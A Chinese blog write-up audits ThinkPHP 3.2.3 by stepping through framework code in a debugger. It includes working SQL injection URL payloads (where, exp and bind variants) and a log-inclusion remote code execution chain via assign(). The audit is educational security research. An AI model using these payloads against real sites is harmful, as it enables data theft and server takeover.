范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

简记一次Tp3框架审计之旅

  前言
  MVC框架是代码审计必需学习的知识,这里以TpV3.2.3框架为例,进行一次对MVC框架代码的漏洞审计,简单学一下MVC的相关知识,希望对正在学习MVC框架的师傅有所帮助。 框架
  我们这里首先需要了解一下什么是MVC架构, M:Model(模型),其负责业务数据的处理和与数据库的交互 V:View(视图),提供了展示数据的各种方式 C:Controller(控制器),负责用户请求的调度和处理业务逻辑
  具体如下图
  如果想对MVC框架进行进一步了解,可以参考https://www.kancloud.cn/manual/thinkphp/1698
  接下来我们需要了解一下ThinkPHP框架。 TP3
  如果想了解Tp3常见的操作,可以看一下这篇文章
  https://blog.csdn.net/spc007spc/article/details/103489711 目录文件
  Tp3的目录如下所示
  www WEB部署目录(或者子目录)
  ├─index.php 入口文件
  ├─README.md README文件
  ├─Application 应用目录
  ├─Public 资源文件目录
  └─ThinkPHP 框架目录
  通俗的说的话,这里的index.php就是提供一个对外的接口,Public就是存放一些公共资源的地方,ThinkPHP是我们的核心框架,其内容如下:
  ├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
  │ ├─Common 核心公共函数目录
  │ ├─Conf 核心配置目录
  │ ├─Lang 核心语言包目录
  │ ├─Library 框架类库目录
  │ │ ├─Think 核心Think类库包目录
  │ │ ├─Behavior 行为类库目录
  │ │ ├─Org Org类库包目录
  │ │ ├─Vendor 第三方类库目录
  │ │ ├─ ... 更多类库目录
  │ ├─Mode 框架应用模式目录
  │ ├─Tpl 系统模板目录
  │ ├─LICENSE.txt 框架授权协议文件
  │ ├─logo.png 框架LOGO文件
  │ ├─README.txt 框架README文件
  │ └─ThinkPHP.php 框架入口文件  路由格式
  Tp3提供了多种路由格式,这里的话对其进行简单介绍。 pathinfo模式
  pathinfo 模式,是ThinkPHP的默认模式,其规范格式如下: http://网址/index.php/模块/控制器/操作方法/参数/参数值
  示例如下 http://127.0.0.1:8080/index.php/Home/Index/index/id/2
  它的优点显而易见, 简化了URL地址。 普通模式
  普通模式的规范格式如下 http://网址/index.php?m=模块名称&c=控制器&a=方法&参数=参数值
  示例如下 http://127.0.0.1:8080/index.php?m=Home&c=index&a=index&id=1
  兼容模式
  兼容模式的规范格式如下 http://网址/index.php?s=/模块名称/控制器/方法/参数/参数值
  示例如下 http://127.0.0.1:8080/index.php?s=Home/index/index/id/33
  rewrite 模式
  这个的话首先需要说一下配置,这个想要使用首先需要Apache开启rewrite拓展,我这里的环境是phpstudy集成环境,具体操作如下。
  首先打开"phpStudyPHPTutorialApacheconfhttpd.conf"文件,搜索rewrite_module将其前面的#删去
  而后去TP的根目录,写一个.htaccess文件,内容如下   RewriteEngine on  RewriteCond %{REQUEST_FILENAME} !-d  RewriteCond %{REQUEST_FILENAME} !-f  RewriteRule ^(.*)$ index.php?s=$1 [QSA,PT,L] 
  接下来重启phpstudy
  此时就配置好了。(如若是linux环境,可参考此文https://blog.csdn.net/zhazhaji/article/details/80493513)
  rewrite的规范格式如下 http://网址/模块/控制器/操作方法/参数/参数值
  其实相比于默认模式就是少了个入口文件,看着更简洁了一些。
  示例如下 http://127.0.0.1:8080/Home/index/index/id/2
  特殊方法
  ThinkPHP将一些经常使用的方法进行了封装,也就是我们这里的特殊方法,其目的在于使程序更加安全。
  接下来对几个相对较常用的方法进行简单介绍。
  如果想进行仔细了解,可以访问如下链接
  https://www.cnblogs.com/kenshinobiy/p/9165662.html
  https://www.thinkphp.cn/info/tag I方法
  I方法是ThinkPHP用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下: I("变量类型.变量名/修饰符",["默认值"],["过滤方法或正则"],["额外数据源"])
  示例如下 echo I("get.id"); //等同于$_GET["id"] echo I("get.id",0); // 如果不存在$_GET["id"] 则返回0 echo I("get.name",""); // 如果不存在$_GET["name"] 则返回空字符串 echo I("get.name","","htmlspecialchars"); // 采用htmlspecialchars方法对$_GET["name"] 进行过滤,如果不存在则返回空字符串 M方法
  M方法用于实例化一个基础模型类,M方法的调用格式: M("[基础模型名:]模型名","数据表前缀","数据库连接信息")
  示例如下 $User = M("User"); #等效于$User = new Model("User"); C方法
  C方法是ThinkPHP用于设置、获取,以及保存配置参数的方法。 $model = C("db_name","thinkphp");; //读取当前的URL模式配置参数 $userType = C("USER_TYPE"); //获取USER_TYPE参数的值 漏洞分析SQL注入环境搭建
  首先我们需要做一些配置。
  我们需要在本地Mysql中新建一个thinkphp数据库用于测试,然后在其中新建一个users数据表,包括id、username、passwd三个字段
  接下来我们需要让Tp与Mysql中的数据库进行对接。
  打开ApplicationHomeConfconfig.php,写入以下内容 <?php return array(  "DB_TYPE" => "mysql", // 数据库类型  "DB_HOST" => "localhost", // 服务器地址  "DB_NAME" => "thinkphp", // 数据库名  "DB_USER" => "root", // 用户名  "DB_PWD" => "root", // 密码  "DB_PORT" => 3306, // 端口  "DB_PREFIX" => "", // 数据库表前缀   "DB_CHARSET"=> "utf8", // 字符集  "DB_DEBUG" => TRUE, // 数据库调试模式 开启后可以记录SQL日志 3.2.3新增 );
  此时环境便搭建好了。 where注入
  打开/Application/Home/Controller/IndexController.class.php,添加内容如下 public function select() {         $id = I("get.id");         $user = M("users");         $data = $user->find($id);         var_dump($data);         }
  此时先在I方法处添加断点
  接下来我们写入我们的语句 http://127.0.0.1:8080/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -
  访问之
  然后开始单步调试
  一开始都是赋值这种,后面看到这里
  可以发现有一个htmlspecialchars函数过滤,不过这个主要是针对XSS的,所以对SQL注入影响不大,接着看,到最后
  可以发现这里的value就是我们写入的语句,即1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -
  然后这里的话他过滤的关键词是 if(preg_match("/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i",$value)){         $value .= " ";     }
  显而易见,过滤的很少,报错注入的updatexml和extractvalue,以及联合查询的union也未被过滤,所以这里也可以使用其他语句,例如 http://127.0.0.1:8080/index.php/home/index/select?id[where]=1 and 1=extractvalue(1,concat(0x7e,user(),0x7e))-- -
  亦可使用联合查询 http://127.0.0.1:8080/index.php/home/index/select?id[where]=0 union select user(),2,3
  接下来调整断点,将断点放在find处,进行单步调试
  跟进
  可以看到这里是判断数值是否为数字字符串串或字符串,满足的话就走if条件下的函数,不过看明显可以看出我们这里是数组(看旁边的options的值为array(1)也可以发现),不满足条件,所以直接走下面。
  走到这个 $pk = $this->getPk();
  跟进
  在上面发现$pk=id
  接下来继续往下走
  这里检验了$pk是否为数组,因不满足条件(此处$pk="id"),所以直接走下面
  接下来是添加limit=1,然后这个用了_parseOptions函数进行处理,跟进此自定义函数
  这里的话可以看到有一个过滤的,但我们这里的话简单看一下就会发现,这里条件并不满足,我们这里的where的值是 0 union select user(),2,3
  所以这里的话就直接pass,接下来继续走
  这些就是一些查询语句,然后将结果返回,接下来到最后
  这里进入parseWhere方法
  我们这里的$where是字符串,所以走if语句,将$where的值赋给$whereStr
  可以看到这里是直接返回了$whereStr,没有用过滤函数什么的处理,因此最终返回的仍是我们传入的
  具体SQL内容如下 SELECT * FROM `users` WHERE 0 union select user(),2,3 LIMIT 1 exp注入
  测试这个的话需要简单修改一下我们的select()方法,修改后内容如下 public function select() {         $map =array("id"=>$_GET["id"]);         $user = M("users");         $data = $user->where($map)->find();         var_dump($data);         }
  这里需要说明一下,之所以不用I方法,是因为I方法中存在过滤,即think_filter函数,其内容如下 if(preg_match("/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i",$value)){         $value .= " ";     }
  可以看出这里过滤了exp,所以不能直接用I方法来写,接下来我们访问网页,写入如下payload http://127.0.0.1:8080/index.php/home/index/select?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
  同时开启调试,单步跟进
  这里的话我们的where是数组,所以条件不满足,直接pass,第二个if同理,然后第三个的话,我们这里并未对optinos[where]进行赋值,所以就会走else,把$where的值赋给他,接着看
  到find方法这里,第一个if语句,我们这里$options为数组,所以直接pass,第二个if语句,我们的$pk值为id,而非数组,所以也pass,到下面跟之前一样,参数被函数_parseOptions包裹,接下来跟进这个函数
  这里有一个字段类型验证的,我们可以看到这个是满足条件的,所以他会进入下面这个函数,我们首先这个语句 if(is_scalar($val)) {
  这里的is_scalar是检验变量是否为标量,什么是标量,官方文档如下
  我们这里的$val变量值如下
  是Array,因此不会进入这个if语句,即不会进入_parseType方法,这里直接pass,接着看下面
  第一个是执行查询语句返回结果的,第二个是返回预编译的语句,继续跟进
  我们这里用了where,跟进parseWhere方法
  可以看到这里是拼接,继续往下看
  最终返回的是拼接的结果,接下来走到最后,得到SQL语句
  如下 SELECT * FROM `users` WHERE `id` =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1 bind注入
  更改内容如下 public function select() {     $User = M("users");     $user["id"] = I("id");     $data["passwd"] = I("passwd");     $valu = $User->where($user)->save($data);     var_dump($valu);         }
  payload如下 http://127.0.0.1:8080/index.php/home/index/select?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&passwd=1
  接下来开启xdebug,然后访问
  这里与之前相同,因为是数组,所以让前三个if语句,直接到 if(isset($this->options["where"]))
  这里,因为没有设置这个options["where"],所以走下面,将$where的值赋给他,然后将值返回,接下来继续看
  我们这里的data是一个数组,是有值的,所以 if(empty($data))
  这个不满足条件,直接看下面,可以看到这里有_facade对data进行了处理,跟进这个函数
  可以看到这里先是检验了是否有fields是否为空,然后进入 if(!empty($this->options["field"])) {
  因为这里并不存在options["field"],所以直接pass,走else那里,即将fields值赋给这里的fields,接下来是foreach语句
  因为$data中的passwd在fields中,所以走下面,即elseif那里
  这里的$var为1是标量,所以满足条件,接下来data被_parseType函数处理,跟进这个函数
  可以发现这里就是对内容进行了intval处理,没什么影响,继续跟进
  这里的话是使用了filter函数对内容进行了一次过滤,跟进
  接下来到_parseOptions函数
  接下来这里以为$val是数组,使用不会进入_parseType方法,出来该方法后,到这里
  跟进update方法
  发现有parseSet方法,跟进此方法
  可以看到这里拼接了=:,此时的SQL语句为 UPDATE `users` SET `passwd`=:0
  接下来进入parseWhereItem方法
  这里可以看出当$exp=bind时,$whereStr是可控的,而后得到拼接后的语句,此时的SQL "UPDATE `users` SET `passwd`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)"
  接下来到execute执行函数这里
  重点在于这里 if(!empty($this->bind)){             $that   =   $this;             $this->queryStr =   ($this->queryStr,array_map(function($val) use($that){ return """.$that->escapeString($val)."""; },$this->bind));         }
  这个strtr函数在这里的话就是起到替换作用,比如我们这里,我们传入的是0(payload中的id[1]=0),那么这里就会拼接变成:0,而这个strtr函数将其替换为1
  此时也就得到了我们最终的SQL语句 "UPDATE `users` SET `passwd`="1" WHERE `id` = "1" and updatexml(1,concat(0x7e,user(),0x7e),1)" 命令执行环境搭建
  环境配置,我们首先需要在ApplicationHomeController新建一个文件,用之前SQL注入的亦可,这里就用之前的了,修改文件内容如下 <?php namespace HomeController; use ThinkController; class IndexController extends Controller {     public function  index($value=""){         $this->assign($value);         $this->display();     } }
  因为该漏洞利用的assign函数需要模板渲染,所以需要新建一个模板文件,模板文件位置如下 ThinkPHPApplicationHomeViewIndexindex.html #内容随意
  这里还需要说明的是,日志和debug的关系
  若开启debug模式日志会到:ApplicationRuntimeLogsHome下
  若未开启debug模式日志会到:ApplicationRuntimeLogsCommon下
  接下来开始复现一下,首先我们创建log文件 /ThinkPHP/index.php?m=--><?=phpinfo();?>接下来去包含log文件(这里log的文件名与年月日相关)http://127.0.0.1:8080/ThinkPHP/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_18.log
  漏洞分析
  这里之所以存在漏洞,其原因是
  由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。
  接下来我们在函数处打上断点
  而后访问 http://127.0.0.1:8080/ThinkPHP/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_18.log
  开始单步调试
  首先来到这个assign函数,这里的name是数组,其内容为我们的日志文件,可以看到这个函数里用了另一个assign函数来处理变量,跟进
  这里判断$name是否为数组,我们的$name为数组,所以进入if语句,这里的array_merge是合并数组的,但这里$this->tvar
  为空,所以这里的话其实就是$this->tVar=$name,即将name变量的值赋给了$tVar
  继续跟进
  接下来到display函数
  同上个相似,这里是用了另一个同名函数来处理变量,跟进
  我们这里模板内容为空,看到这里有fetch函数,跟进
  首先判断了模板文件是否存在
  而后检验使用的是否是PHP原生模板,系统配置的默认引擎是Think,所以这里走else
  这里可以看到将$this->tVar的值赋给了$params,而后进入了listen函数,跟进此函数
  发现这里经过一些判断后进入了exec函数,跟进此函数
  可以发现这里是调用BehaviorParseTemplateBehavior类中的run方法处理$params,我们跟进run方法,寻找哪里对日志文件路径进行了处理,最终找到ThinkPHPLibraryThinkTemplate.class.php文件下的fetch方法
  loadTemplate函数是读取文件路径的,而后这里用load函数对其进行了处理,我们跟进此函数
  $_filename是之前获取到的的缓存文件路径,$vars是带有变量_filename的数组,这里的$vars不为空,因此使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖。
  最后include日志文件路径,造成文件包含,最终导致包含文件造成RCE。 参考链接
  https://www.freebuf.com/articles/web/345544.html
  https://www.freebuf.com/vuls/282906.html
  https://mp.weixin.qq.com/s/OqfruwHf9CAt--2dQQfNJw
  https://forum.butian.net/share/546
  from https://www.freebuf.com/articles/web/355571.html

青海玉树州杂多县发生5。9级地震据中国地震台网正式测定,8月14日16时20分在青海玉树州杂多县发生5。9级地震,震源深度10千米,震中位于北纬33。14度,东经92。85度。本次地震周边20公里内的村庄有改纳桑45岁母亲将子宫ampampquot送ampampquot给女儿,2019年奇迹诞生,女儿剖腹产生下男婴2019年1月20日,西安西京医院里,包括十几位专家在内的一群医护人员正在紧张地忙碌着。片刻后,婴儿清脆的啼哭声宣告此次剖宫产手术顺利完成。太好了,这是医学的奇迹啊。在场的医护人员原神惹众怒?提纳里进常驻卡池被网友留言骂11万条!原神有错吗?原神3。0前瞻直播已经结束,然而因为前瞻直播的一条消息,却意外点燃了不少玩家的怒火。点燃玩家怒火的这条消息,是在3。0版本前瞻直播里提到,提纳里在up之后,将会在3。1版本进去常驻太平猴魁多少钱,太平猴魁茶叶价格太平猴魁多少钱,太平猴魁价格,太平猴魁好喝吗?品质好的太平猴魁多少钱?正宗的太平猴魁要多少价格中秋国庆也是快了,有人喜欢买一点茶叶做这礼品,送给亲戚朋友。有的还是要送给重要的客户和91年了,她们没有等到一声抱歉,铭记历史,传递真相今天(8月14日),是第10个世界慰安妇纪念日。相信大家都十分熟悉慰安妇这个词语的含义,它是由日本人在侵略我国时期,制定并实施的一项惨无人道的禽兽制度!从这项制度实施之后,我国有超27岁小伙交满15年社保?怎么回事?可否提前退休?近日,杭州有个27岁小伙,已经交满15年社保,引起热议。广大网友的疑问,从年龄上看,那不是12岁就购买社保了?这不符合国家规定啊,那这是怎么一回事呢?据了解,小伙有10年的社保是拆中国红龙莱州红犬是中国的一种优秀的原生犬种,可以胜任工作犬陪伴犬守卫犬等工作,可以称得上是天赋异禀,曾经被称为中国红龙,养过的人都说好,优秀不输国际名犬,但很多人却是第一次听说它。莱州红犬重要人事任命!3人接受审查调查1人被双开中宣部姓名现职务原职务宋德民中央纪委国家监委驻中宣部纪检监察组组长教育部党组成员副部长辽宁省姓名现职务原职务李文飙铁岭市委副书记,副市长代理市长江苏省徐州市委常委市纪委书记市监委主十几年过去,吉祥三宝女儿结婚生子,爸爸离世妈妈走不出丧夫之痛文丨虞白编辑丨痞爷2006年,春晚上的一首吉祥三宝让这一家三口火遍大江南北。但温馨的一家三口并不是真正的一家人,夫妻俩为什么不带着自己的女儿上春晚,这其中有什么隐情吗?1hr布仁巴富豪丈夫强闯女主播闺房,她的报复让丈夫有苦难言懊悔痛哭李军从商,陈红唱歌,原本两个人完全不可能发生交集。但是缘分来了,挡都挡不住,两个人因为每天要过同一个收费站,从结实走到结缘再走到结婚。郎才女貌的两个人结婚后,一开始岁月静好,还生了美国的全球战略美国下了一步大棋,第一步棋就是乌克兰。目前效果和目的都达到了,美国的欧洲盟友和小跟班制裁俄罗斯和俄罗斯的全面脱钩进展很快。美国没有想到制裁和脱钩后俄罗斯的经济没有崩溃还比制裁之前强
我家压箱底的馅料组合,全家人一顿就炫光!隔着屋就能闻到香前段时间给姐妹们分享的那个香菇肉包子,真的是太受欢迎了。还有姐妹给我留言,说全家人一顿就炫完了。不说你们,连我都成就感满满!所以今天再来给你们分享一个,我们家压箱底的搭配,百吃不厌孩子老喊肚子疼,去医院却查不出问题,家长要警惕这种情况!孩子总是无缘无故说肚子疼,一吃饭就说肚子疼,一上学也说肚子疼,着急忙慌带去医院检查又没发现什么问题,这是怎么回事?相信很多家长都遇到过这种情况,一说去上学写作业吃饭,孩子就开始喊肚各位家长注意!孩子握笔姿势不对,近视可能找上门很多家长都知道孩子写字时,错误的坐姿会影响眼睛健康但是许多家长不知道错误的握笔姿势有可能导致孩子近视孩子的握笔姿势往往都会被家长们忽略认为孩子的坐姿眼睛没有离桌面太近就没有问题但其大多孩子都有的几个问题大多孩子有的几个问题1抑郁焦虑,极度自闭,不与父母沟通,视父母为敌人2。偏执,与父母矛盾,容易心烦意乱,情绪波动大,老唱反调3容易生气,容易发脾气,虚荣心强,不听取正确的意见和建议傅艺伟,终究为自己的堕落付出了代价2016年2月26日11时30分,北京警方突然接到朝阳群众的举报电话称,著名影星傅艺伟等三人,在某宾馆房间内吸食违禁品。接到信息的警方,直接将红极一时的著名演员傅艺伟,成功抓获。同86版西游记,已去世的18位演员,感谢这些敬业演员留下的经典一部西游记陪伴了无数孩童的成长,师徒四人坎坷的取经路,也牵动着无数观众的心。小时候看这部剧时,眼睛里更多的是孙悟空,深深被他的机智勇敢和神通广大所吸引。长大后了解的多了才发现,这部滴血雄鹰案主要删减的有哪些呢?神探狄仁杰系列是古装悬疑剧的天花板,起初第一部发行并不叫神探狄仁杰1最初发行的是DVD版,名字叫武朝迷案。后来在电视台播放的时候,也叫武朝迷案,30集。我们现在能够看到的第一部是删恭喜!吴君如前弟媳勇夺视后激动大哭,一度得罪高层被TVB封杀1月8日,据港媒报道,TVB年度盛事万千星辉颁奖礼隆重举行,各大奖项终于出炉,大部分获奖者都实至名归。最受瞩目的奖项,当然是视帝视后。视帝最终由陈山聪获得,江美仪则勇夺视后。曝光的明家三兄弟,给40男演员上课胡歌,王凯,靳东,三位戏路各异的扛剧演员,从去年12月到今年1月,陆续有新作播出。胡歌主演了正午阳光的献礼剧县委大院,作为一名空降的县长,与原来的县委干部共同解决难题王凯在都市剧向哈里王子的爱情故事一众名老女人,个个美过梅根在哈里王子的单身时代,这位苏塞克斯公爵很受女士们欢迎的,他混在他能独享的圈子中,与许多名人女性发生劲爆的关系。神秘的老女人夺走了他的第一次哈里在他的回忆录备用中,大量的描绘了他的青电影长空之王官宣定档五一,1个影帝1个影后,四大戏骨助阵电影长空之王终于官宣定档了!但不是春节档,而是五一档,这对于这部影片以及影市来说无疑都是有利的,毕竟如今春节档已经有着七部影片,已经趋于饱和了,而对于2023年其它档期来说,都需要